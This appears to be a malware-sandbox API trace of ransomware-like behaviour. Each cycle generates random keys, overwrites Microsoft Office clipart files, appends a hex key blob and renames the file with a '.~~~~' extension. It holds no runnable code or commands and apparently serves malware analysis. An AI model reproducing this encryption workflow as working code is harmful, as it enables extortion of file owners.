	[0091.571] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.571] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.571] CloseHandle (hObject=0x124) returned 1
	[0091.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.~~~~")) returned 1
	[0091.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.572] GetLastError () returned 0x0
	[0091.572] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.573] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.573] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21156442958) returned 1
	[0091.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa05bd930, dwHighDateTime=0x1d60e1e)) 
	[0091.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386c70
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386c70 | out: hHeap=0x300000) returned 1
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385968
	[0091.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.575] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.575] GetLastError () returned 0x0
	[0091.575] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.575] GetLastError () returned 0x0
	[0091.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd7b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.660] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x284c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x284c, lpOverlapped=0x0) returned 1
	[0091.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.666] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.666] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.671] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.677] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.677] CloseHandle (hObject=0x124) returned 1
	[0091.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.~~~~")) returned 1
	[0091.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.678] GetLastError () returned 0x0
	[0091.747] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.780] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.780] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.780] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21177045101) returned 1
	[0091.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07acb10, dwHighDateTime=0x1d60e1e)) 
	[0091.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387220
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387220 | out: hHeap=0x300000) returned 1
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3889f8
	[0091.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.781] GetLastError () returned 0x0
	[0091.781] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.781] GetLastError () returned 0x0
	[0091.785] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffdb9a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.785] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2466, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2466, lpOverlapped=0x0) returned 1
	[0091.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.786] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.786] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.786] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.786] CloseHandle (hObject=0x134) returned 1
	[0091.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.~~~~")) returned 1
	[0091.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.787] GetLastError () returned 0x0
	[0091.787] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.788] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.788] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.788] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21177833777) returned 1
	[0091.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07d2c70, dwHighDateTime=0x1d60e1e)) 
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387290
	[0091.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387290 | out: hHeap=0x300000) returned 1
	[0091.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3889f8
	[0091.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.789] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.789] GetLastError () returned 0x0
	[0091.789] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.789] GetLastError () returned 0x0
	[0091.790] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffa08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.791] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x5f8, lpOverlapped=0x0) returned 1
	[0091.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.791] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.791] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.791] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.791] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.791] CloseHandle (hObject=0x134) returned 1
	[0091.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.791] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.~~~~")) returned 1
	[0091.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.792] GetLastError () returned 0x0
	[0091.793] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.794] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.794] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.794] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21178387986) returned 1
	[0091.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07d2c70, dwHighDateTime=0x1d60e1e)) 
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3872c8
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3872c8 | out: hHeap=0x300000) returned 1
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388b28
	[0091.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.794] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.794] GetLastError () returned 0x0
	[0091.794] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.795] GetLastError () returned 0x0
	[0091.796] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff31e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.796] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xce2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xce2, lpOverlapped=0x0) returned 1
	[0091.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.797] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.797] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.797] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.797] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.797] CloseHandle (hObject=0x134) returned 1
	[0091.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.~~~~")) returned 1
	[0091.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.800] GetLastError () returned 0x0
	[0091.801] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.802] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.802] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.802] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21179195855) returned 1
	[0091.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07f8dd0, dwHighDateTime=0x1d60e1e)) 
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387300
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387300 | out: hHeap=0x300000) returned 1
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388bc0
	[0091.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.802] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.802] GetLastError () returned 0x0
	[0091.803] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.803] GetLastError () returned 0x0
	[0091.804] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffcce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.804] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x332, lpOverlapped=0x0) returned 1
	[0091.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.805] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.805] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
